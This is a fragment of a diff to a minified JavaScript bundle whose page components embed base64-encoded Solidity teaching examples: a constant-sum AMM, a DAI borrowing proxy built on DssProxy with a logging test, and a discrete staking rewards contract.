B0b3RhbCBzdXBwbHkKCiAgICAgICAgcyBzaG91bGQgYmUgcHJvcG9ydGlvbmFsIHRvIGluY3JlYXNlIGZyb20gTCB0byBMICsgYQogICAgICAgIChMICsgYSkgLyBMID0gKFQgKyBzKSAvIFQKCiAgICAgICAgcyA9IGEgKiBUIC8gTAogICAgICAgICovCiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBzaGFyZXMgPSAoKGQwICsgZDEpICogdG90YWxTdXBwbHkpIC8gKHJlc2VydmUwICsgcmVzZXJ2ZTEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IGQwICsgZDE7CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZShiYWwwLCBiYWwxKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkodWludCBfc2hhcmVzKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGQwLCB1aW50IGQxKSB7CiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IG91dAogICAgICAgIEwgPSB0b3RhbCBsaXF1aWRpdHkKICAgICAgICBzID0gc2hhcmVzCiAgICAgICAgVCA9IHRvdGFsIHN1cHBseQoKICAgICAgICBhIC8gTCA9IHMgLyBUCgogICAgICAgIGEgPSBMICogcyAvIFQKICAgICAgICAgID0gKHJlc2VydmUwICsgcmVzZXJ2ZTEpICogcyAvIFQKICAgICAgICAqLwogICAgICAgIGQwID0gKHJlc2VydmUwICogX3NoYXJlcykgLyB0b3RhbFN1cHBseTsKICAgICAgICBkMSA9IChyZXNlcnZlMSAqIF9zaGFyZXMpIC8gdG90YWxTdXBwbHk7CgogICAgICAgIF9idXJuKG1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QXBwcm92YWwoYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludCBhbW91bnQpOwp9Cg=="}],eA=`

                    Constant sum AMM X + Y = K

                    Tokens trade one to one.

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.20;
                    @@ -3887,7 +3887,7 @@ specify the location of the data.

                    event Transfer(address indexed from, address indexed to, uint amount); event Approval(address indexed owner, address indexed spender, uint amount); } -
                    `,lA=({prev:s,next:a})=>i.jsx(u,{version:$m,title:qm,description:sA,html:nA,prev:s,next:a,codes:aA}),pA="0.8.20",eA="DAI Proxy Examples",cA="Borrow and repay DAI using DssProxy",tA=[{fileName:"DaiProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjIwOwoKYWRkcmVzcyBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CmFkZHJlc3MgY29uc3RhbnQgUFJPWFlfUkVHSVNUUlkgPSAweDQ2NzhmMGE2OTU4ZTREMkJjNEYxQkFGN0JjNTJFOEYzNTY0ZjNmRTQ7CmFkZHJlc3MgY29uc3RhbnQgUFJPWFlfQUNUSU9OUyA9IDB4ODJlY0QxMzVEY2U2NUZiYzZEYmREMGU0MjM3RTBBRjkzRkZENTAzODsKYWRkcmVzcyBjb25zdGFudCBDRFBfTUFOQUdFUiA9IDB4NWVmMzBiOTk4NjM0NTI0OWJjMzJkODkyOEI3ZWU2NERFOTQzNUUzOTsKYWRkcmVzcyBjb25zdGFudCBKVUcgPSAweDE5YzA5NzZmNTkwRDY3NzA3RTYyMzk3Qzg3ODI5ZDg5NkRjMGYxRjE7CmFkZHJlc3MgY29uc3RhbnQgSk9JTl9FVEhfQyA9IDB4RjA0YTVjQzgwQjFFOTRDNjlCNDhmNWVlNjhhMDhDRDJGMDlBN2MzRTsK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RVIsIEpPSU5fRVRIX0MsIGNkcElkKQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBib3Jyb3codWludDI1NiBkYWlBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy5kcmF3LAogICAgICAgICAgICAgICAgKENEUF9NQU5BR0VSLCBKVUcsIEpPSU5fREFJLCBjZHBJZCwgZGFpQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZXBheSh1aW50MjU2IGRhaUFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIGRhaS5hcHByb3ZlKHByb3h5LCBkYWlBbW91bnQpOwogICAgICAgIElEc3NQcm94eShwcm94eSkuZXhlY3V0ZSgKICAgICAgICAgICAgUFJPWFlfQUNUSU9OUywKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoCiAgICAgICAgICAgICAgICBJRHNzUHJveHlBY3Rpb25zLndpcGUsIChDRFBfTUFOQUdFUiwgSk9JTl9EQUksIGNkcElkLCBkYWlBbW91bnQpCiAgICAgICAgICAgICkKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlcGF5QWxsKCkgZXh0ZXJuYWwgewogICAgICAgIGRhaS5hcHByb3ZlKHByb3h5LCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRlKAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMud2lwZUFsbCwgKENEUF9NQU5BR0VSLCBKT0lOX0RBSSwgY2RwSWQpCiAgICAgICAgICAgICkKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHVubG9ja0V0aCh1aW50MjU2IGV0aEFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIElEc3NQcm94eShwcm94eSkuZXhlY3V0ZSgKICAgICAgICAgICAgUFJPWFlfQUNUSU9OUywKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoCiAgICAgICAgICAgICAgICBJRHNzUHJveHlBY3Rpb25zLmZyZWVFVEgsCiAgICAgICAgICAgICAgICAoQ0RQX01BTkFHRVIsIEpPSU5fRVRIX0MsIGNkcElkLCBldGhBbW91bnQpCiAgICAgICAgICAgICkKICAgICAgICApOwogICAgfQp9CgppbnRlcmZhY2UgSURzc1Byb3h5UmVnaXN0cnkgewogICAgZnVuY3Rpb24gYnVpbGQoKSBleHRlcm5hbCByZXR1cm5zIChhZGRyZXNzIHByb3h5KTsKfQoKaW50ZXJmYWNlIElEc3NQcm94eSB7CiAgICBmdW5jdGlvbiBleGVjdXRlKGFkZHJlc3MgdGFyZ2V0LCBieXRlcyBtZW1vcnkgZGF0YSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zIChieXRlczMyIHJlcyk7Cn0KCmludGVyZmFjZSBJRHNzUHJveHlBY3Rpb25zIHsKICAgIGZ1bmN0aW9uIG9wZW4oYWRkcmVzcyBjZHBNYW5hZ2VyLCBieXRlczMyIGlsaywgYWRkcmVzcyB1c3IpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGNkcElkKTsKICAgIGZ1bmN0aW9uIGxvY2tFVEgoYWRkcmVzcyBjZHBNYW5hZ2VyLCBhZGRyZXNzIGV0aEpvaW4sIHVpbnQyNTYgY2RwSWQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlOwogICAgZnVuY3Rpb24gZHJhdygKICAgICAgICBhZGRyZXNzIGNkcE1hbmFnZXIsCiAgICAgICAgYWR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1NiBjZHBJZCA9IHByb3h5LmNkcElkKCk7CiAgICAgICAgYWRkcmVzcyB1cm5BZGRyID0gY2RwTWFuYWdlci51cm5zKGNkcElkKTsKCiAgICAgICAgY29uc29sZS5sb2coIkJlZm9yZSBsb2NrIEVUSCIpOwogICAgICAgIHByaW50KHVybkFkZHIpOwoKICAgICAgICBwcm94eS5sb2NrRXRoe3ZhbHVlOiBFVEhfQU1PVU5UfSgpOwogICAgICAgIGNvbnNvbGUubG9nKCIiKTsKICAgICAgICBjb25zb2xlLmxvZygiQWZ0ZXIgbG9jayBFVEgiKTsKICAgICAgICBwcmludCh1cm5BZGRyKTsKCiAgICAgICAgcHJveHkuYm9ycm93KERBSV9BTU9VTlQpOwogICAgICAgIGNvbnNvbGUubG9nKCIiKTsKICAgICAgICBjb25zb2xlLmxvZygiQWZ0ZXIgYm9ycm93IERBSSIpOwogICAgICAgIHByaW50KHVybkFkZHIpOwoKICAgICAgICBwcm94eS5yZXBheShEQUlfQU1PVU5UIC8gMik7CiAgICAgICAgY29uc29sZS5sb2coIiIpOwogICAgICAgIGNvbnNvbGUubG9nKCJBZnRlciBwYXJ0aWFsIHJlcGF5IERBSSIpOwogICAgICAgIHByaW50KHVybkFkZHIpOwogICAgICAgIAogICAgICAgIHByb3h5LnJlcGF5QWxsKCk7CiAgICAgICAgY29uc29sZS5sb2coIiIpOwogICAgICAgIGNvbnNvbGUubG9nKCJBZnRlciByZXBheSBhbGwgREFJIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LnVubG9ja0V0aChFVEhfQU1PVU5UKTsKICAgICAgICBjb25zb2xlLmxvZygiIik7CiAgICAgICAgY29uc29sZS5sb2coIkFmdGVyIHVubG9jayBFVEgiKTsKICAgICAgICBwcmludCh1cm5BZGRyKTsKICAgIH0KfQoKaW50ZXJmYWNlIElWYXQgewogICAgLy8gQ29sbGF0ZXJhbCB0eXBlCiAgICBzdHJ1Y3QgSWxrIHsKICAgICAgICB1aW50MjU2IEFydDsgLy8gVG90YWwgbm9ybWFsaXplZCBkZWJ0ICAgICAgW3dhZF0KICAgICAgICB1aW50MjU2IHJhdGU7IC8vIEFjY3VtdWxhdGVkIHJhdGVzICAgICAgICAgW3JheV0KICAgICAgICB1aW50MjU2IHNwb3Q7IC8vIFByaWNlIHdpdGggc2FmZXR5IG1hcmdpbiAgW3JheV0KICAgICAgICB1aW50MjU2IGxpbmU7IC8vIERlYnQgY2VpbGluZyAgICAgICAgICAgICAgW3JhZF0KICAgICAgICB1aW50MjU2IGR1c3Q7IC8vIFVybiBkZWJ0IGZsb29yICAgICAgICAgICAgW3JhZF0KICAgIH0KCiAgICAvLyBWYXVsdAogICAgc3RydWN0IFVybiB7CiAgICAgICAgdWludDI1NiBpbms7IC8vIExvY2tlZCBjb2xsYXRlcmFsICBbd2FkXQogICAgICAgIHVpbnQyNTYgYXJ0OyAvLyBOb3JtYWxpc2VkIGRlYnQgICAgW3dhZF0KICAgIH0KCiAgICBmdW5jdGlvbiBpbGtzKGJ5dGVzMzIgaWxrKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKElsayBtZW1vcnkpOwogICAgZnVuY3Rpb24gdXJucyhieXRlczMyIGlsaywgYWRkcmVzcyB1c2VyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKFVybiBtZW1vcnkpOwp9CgppbnRlcmZhY2UgSUNkcE1hbmFnZXIgewogICAgZnVuY3Rpb24gdXJucyh1aW50MjU2IGNkcElkKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MgdXJuKTsKfQo="}],oA=`

                    Example

                    +`,cA=({prev:s,next:a})=>i.jsx(u,{version:aA,title:nA,description:lA,html:eA,prev:s,next:a,codes:pA}),tA="0.8.20",oA="DAI Proxy Examples",rA="Borrow and repay DAI using DssProxy",iA=[{fileName:"DaiProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc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kgPSBJRHNzUHJveHlSZWdpc3RyeShQUk9YWV9SRUdJU1RSWSkuYnVpbGQoKTsKICAgICAgICBieXRlczMyIHJlcyA9IElEc3NQcm94eShwcm94eSkuZXhlY3V0ZSgKICAgICAgICAgICAgUFJPWFlfQUNUSU9OUywKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSURzc1Byb3h5QWN0aW9ucy5vcGVuLCAoQ0RQX01BTkFHRVIsIEVUSF9DLCBwcm94eSkpCiAgICAgICAgKTsKICAgICAgICBjZHBJZCA9IHVpbnQyNTYocmVzKTsKICAgIH0KCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGxvY2tFdGgoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGV7dmFsdWU6IG1zZy52YWx1ZX0oCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy5sb2NrRVRILCAoQ0RQX01BTkFHRVIsIEpPSU5fRVRIX0MsIGNkcElkKQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBib3Jyb3codWludDI1NiBkYWlBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy5kcmF3LAogICAgICAgICAgICAgICAgKENEUF9NQU5BR0VSLCBKVUcsIEpPSU5fREFJLCBjZHBJZCwgZGFpQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZXBheSh1aW50MjU2IGRhaUFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIGRhaS5hcHByb3ZlKHByb3h5LCBkYWlBbW91bnQpOwogICAgICAgIElEc3NQcm94eShwcm94eSkuZXhlY3V0ZSgKICAgICAgICAgICAgUFJPWFlfQUNUSU9OUywKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoCiAgICAgICAgICAgICAgICBJRHNzUHJveHlBY3Rpb25zLndpcGUsIChDRFBfTUFOQUdFUiwgSk9JTl9EQUksIGNkcElkLCBkYWlBbW91bnQpCiAgICAgICAgICAgICkKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlcGF5QWxsKCkgZXh0ZXJuYWwgewogICAgICAgIGRhaS5hcHByb3ZlKHByb3h5LCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRlKAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMud2lwZUFsbCwgKENEUF9NQU5BR0VSLCBKT0lOX0RBSSwgY2RwSWQpCiAgICAgICAgICAgICkKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHVubG9ja0V0aCh1aW50MjU2IGV0aEFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIElEc3NQcm94eShwcm94eSkuZXhlY3V0ZSgKICAgICAgICAgICAgUFJPWFlfQUNUSU9OUywKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoCiAgICAgICAgICAgICAgICBJRHNzUHJveHlBY3Rpb25zLmZyZWVFVEgsCiAgICAgICAgICAgICAgICAoQ0RQX01BTkFHRVIsIEpPSU5fRVRIX0MsIGNkcElkLCBldGhBbW91bnQpCiAgICAgICAgICAgICkKICAgICAgICApOwogICAgfQp9CgppbnRlcmZhY2UgSURzc1Byb3h5UmVnaXN0cnkgewogICAgZnVuY3Rpb24gYnVpbGQoKSBleHRlcm5hbCBy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JpbGsucmF0ZSIsIGlsay5yYXRlKTsKICAgIH0KCiAgICBmdW5jdGlvbiBwcmludChhZGRyZXNzIHVybkFkZHIpIHByaXZhdGUgewogICAgICAgIElWYXQuVXJuIG1lbW9yeSB1cm4gPSB2YXQudXJucyhFVEhfQywgdXJuQWRkcik7CiAgICAgICAgY29uc29sZS5sb2coIi0tLS0tLS0tLS0tLS0tLS0tLS0tIik7CiAgICAgICAgY29uc29sZS5sb2coInZhdWx0IGNvbGxhdGVyYWwgW3dhZF0iLCB1cm4uaW5rKTsKICAgICAgICBjb25zb2xlLmxvZygidmF1bHQgZGVidCAgICAgICBbd2FkXSIsIHVybi5hcnQpOwogICAgICAgIGNvbnNvbGUubG9nKCJEQUkgaW4gcHJveHkgICAgIFt3YWRdIiwgZGFpLmJhbGFuY2VPZihhZGRyZXNzKHByb3h5KSkpOwogICAgICAgIGNvbnNvbGUubG9nKCJFVEggaW4gcHJveHkgICAgIFt3YWRdIiwgYWRkcmVzcyhwcm94eSkuYmFsYW5jZSk7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9wcm94eSgpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiBjZHBJZCA9IHByb3h5LmNkcElkKCk7CiAgICAgICAgYWRkcmVzcyB1cm5BZGRyID0gY2RwTWFuYWdlci51cm5zKGNkcElkKTsKCiAgICAgICAgY29uc29sZS5sb2coIkJlZm9yZSBsb2NrIEVUSCIpOwogICAgICAgIHByaW50KHVybkFkZHIpOwoKICAgICAgICBwcm94eS5sb2NrRXRoe3ZhbHVlOiBFVEhfQU1PVU5UfSgpOwogICAgICAgIGNvbnNvbGUubG9nKCIiKTsKICAgICAgICBjb25zb2xlLmxvZygiQWZ0ZXIgbG9jayBFVEgiKTsKICAgICAgICBwcmludCh1cm5BZGRyKTsKCiAgICAgICAgcHJveHkuYm9ycm93KERBSV9BTU9VTlQpOwogICAgICAgIGNvbnNvbGUubG9nKCIiKTsKICAgICAgICBjb25zb2xlLmxvZygiQWZ0ZXIgYm9ycm93IERBSSIpOwogICAgICAgIHByaW50KHVybkFkZHIpOwoKICAgICAgICBwcm94eS5yZXBheShEQUlfQU1PVU5UIC8gMik7CiAgICAgICAgY29uc29sZS5sb2coIiIpOwogICAgICAgIGNvbnNvbGUubG9nKCJBZnRlciBwYXJ0aWFsIHJlcGF5IERBSSIpOwogICAgICAgIHByaW50KHVybkFkZHIpOwogICAgICAgIAogICAgICAgIHByb3h5LnJlcGF5QWxsKCk7CiAgICAgICAgY29uc29sZS5sb2coIiIpOwogICAgICAgIGNvbnNvbGUubG9nKCJBZnRlciByZXBheSBhbGwgREFJIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LnVubG9ja0V0aChFVEhfQU1PVU5UKTsKICAgICAgICBjb25zb2xlLmxvZygiIik7CiAgICAgICAgY29uc29sZS5sb2coIkFmdGVyIHVubG9jayBFVEgiKTsKICAgICAgICBwcmludCh1cm5BZGRyKTsKICAgIH0KfQoKaW50ZXJmYWNlIElWYXQgewogICAgLy8gQ29sbGF0ZXJhbCB0eXBlCiAgICBzdHJ1Y3QgSWxrIHsKICAgICAgICB1aW50MjU2IEFydDsgLy8gVG90YWwgbm9ybWFsaXplZCBkZWJ0ICAgICAgW3dhZF0KICAgICAgICB1aW50MjU2IHJhdGU7IC8vIEFjY3VtdWxhdGVkIHJhdGVzICAgICAgICAgW3JheV0KICAgICAgICB1aW50MjU2IHNwb3Q7IC8vIFByaWNlIHdpdGggc2FmZXR5IG1hcmdpbiAgW3JheV0KICAgICAgICB1aW50MjU2IGxpbmU7IC8vIERlYnQgY2VpbGluZyAgICAgICAgICAgICAgW3JhZF0KICAgICAgICB1aW50MjU2IGR1c3Q7IC8vIFVybiBkZWJ0IGZsb29yICAgICAgICAgICAgW3JhZF0KICAgIH0KCiAgICAvLyBWYXVsdAogICAgc3RydWN0IFVybiB7CiAgICAgICAgdWludDI1NiBpbms7IC8vIExvY2tlZCBjb2xsYXRlcmFsICBbd2FkXQogICAgICAgIHVpbnQyNTYgYXJ0OyAvLyBOb3JtYWxpc2VkIGRlYnQgICAgW3dhZF0KICAgIH0KCiAgICBmdW5jdGlvbiBpbGtzKGJ5dGVzMzIgaWxrKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKElsayBtZW1vcnkpOwogICAgZnVuY3Rpb24gdXJucyhieXRlczMyIGlsaywgYWRkcmVzcyB1c2VyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKFVybiBtZW1vcnkpOwp9CgppbnRlcmZhY2UgSUNkcE1hbmFnZXIgewogICAgZnVuY3Rpb24gdXJucyh1aW50MjU2IGNkcElkKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MgdXJuKTsKfQo="}],hA=`

                    Example

                    Example of locking ETH collateral, borrowing DAI, repaying DAI and unlocking ETH using DssProxy.

                    // SPDX-License-Identifier: MIT
                     pragma solidity 0.8.20;
                    @@ -4126,7 +4126,7 @@ specify the location of the data.

                    interface ICdpManager { function urns(uint256 cdpId) external view returns (address urn); } -
                    `,rA=({prev:s,next:a})=>i.jsx(u,{version:pA,title:eA,description:cA,html:oA,prev:s,next:a,codes:tA}),iA="0.8.20",hA="Discrete Staking Rewards",gA="Discrete staking rewards",dA=[{fileName:"DiscreteStakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IERpc2NyZXRlU3Rha2luZ1Jld2FyZHMgewogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgc3Rha2luZ1Rva2VuOwogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgcmV3YXJkVG9rZW47CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlT2Y7CiAgICB1aW50IHB1YmxpYyB0b3RhbFN1cHBseTsKCiAgICB1aW50IHByaXZhdGUgY29u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BfY2FsY3VsYXRlUmV3YXJkcyhhY2NvdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfdXBkYXRlUmV3YXJkcyhhZGRyZXNzIGFjY291bnQpIHByaXZhdGUgewogICAgICAgIGVhcm5lZFthY2NvdW50XSArPSBfY2FsY3VsYXRlUmV3YXJkcyhhY2NvdW50KTsKICAgICAgICByZXdhcmRJbmRleE9mW2FjY291bnRdID0gcmV3YXJkSW5kZXg7CiAgICB9CgogICAgZnVuY3Rpb24gc3Rha2UodWludCBhbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBfdXBkYXRlUmV3YXJkcyhtc2cuc2VuZGVyKTsKCiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdICs9IGFtb3VudDsKICAgICAgICB0b3RhbFN1cHBseSArPSBhbW91bnQ7CgogICAgICAgIHN0YWtpbmdUb2tlbi50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bnN0YWtlKHVpbnQgYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgX3VwZGF0ZVJld2FyZHMobXNnLnNlbmRlcik7CgogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgLT0gYW1vdW50OwoKICAgICAgICBzdGFraW5nVG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBjbGFpbSgpIGV4dGVybmFsIHJldHVybnMgKHVpbnQpIHsKICAgICAgICBfdXBkYXRlUmV3YXJkcyhtc2cuc2VuZGVyKTsKCiAgICAgICAgdWludCByZXdhcmQgPSBlYXJuZWRbbXNnLnNlbmRlcl07CiAgICAgICAgaWYgKHJld2FyZCA+IDApIHsKICAgICAgICAgICAgZWFybmVkW21zZy5zZW5kZXJdID0gMDsKICAgICAgICAgICAgcmV3YXJkVG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgcmV3YXJkKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiByZXdhcmQ7CiAgICB9Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3Mgc2VuZGVyLAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQgYW1vdW50CiAgICApIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGV2ZW50IFRyYW5zZmVyKGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQgdmFsdWUpOwogICAgZXZlbnQgQXBwcm92YWwoYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludCB2YWx1ZSk7Cn0K"}],IA=`

                    Similar to staking rewards contract. Difference is that reward amount may vary at each second.

                    +`,gA=({prev:s,next:a})=>i.jsx(u,{version:tA,title:oA,description:rA,html:hA,prev:s,next:a,codes:iA}),dA="0.8.20",IA="Discrete Staking Rewards",CA="Discrete staking rewards",jA=[{fileName:"DiscreteStakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IERpc2NyZXRlU3Rha2luZ1Jld2FyZHMgewogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgc3Rha2luZ1Rva2VuOwogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgcmV3YXJkVG9rZW47CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlT2Y7CiAgICB1aW50IHB1YmxpYyB0b3RhbFN1cHBseTsKCiAgICB1aW50IHByaXZhdGUgY29uc3RhbnQgTVVMVElQTElFUiA9IDFlMTg7CiAgICB1aW50IHByaXZhdGUgcmV3YXJkSW5kZXg7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludCkgcHJpdmF0ZSByZXdhcmRJbmRleE9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHByaXZhdGUgZWFybmVkOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3N0YWtpbmdUb2tlbiwgYWRkcmVzcyBfcmV3YXJkVG9rZW4pIHsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkVG9rZW4gPSBJRVJDMjAoX3Jld2FyZFRva2VuKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1cGRhdGVSZXdhcmRJbmRleCh1aW50IHJld2FyZCkgZXh0ZXJuYWwgewogICAgICAgIHJld2FyZFRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCByZXdhcmQpOwogICAgICAgIHJld2FyZEluZGV4ICs9IChyZXdhcmQgKiBNVUxUSVBMSUVSK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HJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3Mgc2VuZGVyLAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQgYW1vdW50CiAgICApIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGV2ZW50IFRyYW5zZmVyKGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQgdmFsdWUpOwogICAgZXZlbnQgQXBwcm92YWwoYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludCB2YWx1ZSk7Cn0K"}],uA=`

                    Similar to staking rewards contract. Difference is that reward amount may vary at each second.

                    Discrete Staking Rewards

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.20;
                    @@ -4218,7 +4218,7 @@ specify the location of the data.

                    event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } -
